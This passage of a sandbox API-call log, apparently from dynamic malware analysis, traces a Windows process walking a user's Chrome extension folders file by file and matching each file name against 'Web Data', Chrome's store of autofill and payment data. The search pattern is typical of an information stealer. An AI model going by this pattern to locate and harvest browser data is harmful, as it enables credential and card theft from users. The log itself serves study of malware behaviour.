IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 113 [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 113 [0056.200] lstrlenA (lpString="\\") returned 1 [0056.200] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.200] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.200] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned 114 [0056.200] lstrlenA (lpString="14.1_0") returned 6 [0056.200] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2debc8 [0056.200] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0056.200] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\", lpString2="14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.200] LocalFree (hMem=0x2deac8) returned 0x0 [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 120 [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 120 [0056.200] lstrlenA (lpString="\\*.*") returned 4 [0056.200] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x2decd0 [0056.200] lstrcpyA (in: lpString1=0x2decd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.200] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*" [0056.200] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.200] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.200] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.200] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.200] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.200] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.200] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.200] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.200] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.200] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.200] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.200] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 120 [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 120 [0056.200] lstrlenA (lpString="\\") returned 1 [0056.200] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x2dedd8 [0056.200] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.200] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned 121 [0056.200] lstrlenA (lpString="_locales") returned 8 [0056.200] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2d9b88 [0056.200] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0056.200] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.200] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.201] lstrlenA (lpString="\\*.*") returned 4 [0056.201] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dedd8 [0056.201] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.201] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*" [0056.201] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.201] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.201] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.201] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.201] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.201] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.201] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.201] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.201] lstrlenA (lpString="\\") returned 1 [0056.201] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.201] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.201] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.201] lstrlenA (lpString="ar") returned 2 [0056.201] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.201] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.201] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" [0056.201] LocalFree (hMem=0x2daca0) returned 0x0 [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned 132 [0056.201] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned 132 [0056.201] lstrlenA (lpString="\\*.*") returned 4 [0056.201] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.201] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" [0056.201] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*" [0056.201] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.202] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.202] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.202] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.202] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.202] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.202] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.202] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.202] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.202] LocalFree (hMem=0x2daec0) returned 0x0 [0056.202] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.202] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.202] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.202] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.202] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.202] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.202] lstrlenA (lpString="\\") returned 1 [0056.202] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.202] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.202] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.202] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.202] lstrlenA (lpString="bg") returned 2 [0056.202] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.202] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.202] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" [0056.202] LocalFree (hMem=0x2daca0) returned 0x0 [0056.202] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned 132 [0056.202] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned 132 [0056.202] lstrlenA (lpString="\\*.*") returned 4 [0056.202] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.202] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" [0056.202] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*" [0056.202] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.202] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.202] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.202] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.202] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.202] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.202] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.202] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.203] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.203] LocalFree (hMem=0x2daec0) returned 0x0 [0056.203] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.203] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.203] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.203] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.203] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.203] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.203] lstrlenA (lpString="\\") returned 1 [0056.203] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.203] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.203] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.203] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.203] lstrlenA (lpString="ca") returned 2 [0056.203] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.203] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.203] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") 